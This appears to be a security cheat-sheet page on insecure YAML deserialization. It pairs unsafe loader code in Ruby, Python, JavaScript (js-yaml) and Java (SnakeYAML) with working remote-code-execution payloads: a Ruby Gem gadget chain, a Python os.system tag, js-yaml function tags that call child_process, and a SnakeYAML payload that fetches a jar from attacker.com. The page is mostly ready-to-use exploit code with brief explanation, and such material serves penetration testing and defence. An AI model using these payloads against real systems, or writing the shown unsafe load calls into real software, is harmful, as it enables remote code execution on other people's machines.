YAML

Yet Another Markup Language

Description

First of all, this great article explains all sorts of tricks and weirdness in YAML:

Insecure Deserialization

In YAML the ! character can mean a tag, which allows you to execute a function in the host language with a parameter that comes right after (because why not). Many parsers implement this as it is required by the spec, but if attackers have control over the YAML file, even partially, they can use these tags to run arbitrary functions with arbitrary arguments.

A common target for this is a function that executes shell commands, where you can gain Remote Code Execution. The following examples all execute the id command and allow you to execute any arbitrary commands:

Ruby

Vulnerable Code
require "yaml"

YAML.load(File.read("data.yml"))

Payload (>2.7, source)

data.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "id"
         method_id: :resolve

Python

Vulnerable Code
from yaml import Loader, load

deserialized = load(open('data.yml'), Loader=Loader)

Payload

data.yml
!!python/object/apply:os.system
- "id"

JavaScript - js-yaml (<4.0)

This popular JavaScript library allows the creation of arbitrary functions like .toString() which can be called accidentally, when using load() instead of safeLoad() in versions below 4:

Vulnerable Code
const yaml = require('js-yaml');
const fs = require('fs');

const res = yaml.load(fs.readFileSync('data.yml'));
console.log(res + "")  // Calls .toString() as trigger

Payloads

data.yml
"toString": !<tag:yaml.org,2002:js/function> "function (){console.log(process.mainModule.require('child_process').execSync('id').toString())}"
data.yml
toString: !!js/function >
  function () {
      console.log(process.mainModule.require('child_process').execSync('id').toString())
  }

Java - SnakeYAML (<2.0)

Vulnerable Code
import org.yaml.snakeyaml.Yaml;

Yaml yaml = new Yaml();
FileInputStream fis = new FileInputStream("data.yml");
Map<String, Object> parsed = yaml.load(fis);

Payload

data.yml
some_var: !!javax.script.ScriptEngineManager [
    !!java.net.URLClassLoader [[
        !!java.net.URL ["http://attacker.com/payload.jar"]
    ]]
]

/payload.jar file:

  1. Explanation (search "remote jar file")

  2. Proof of Concept with build.sh script (change exec())

Last updated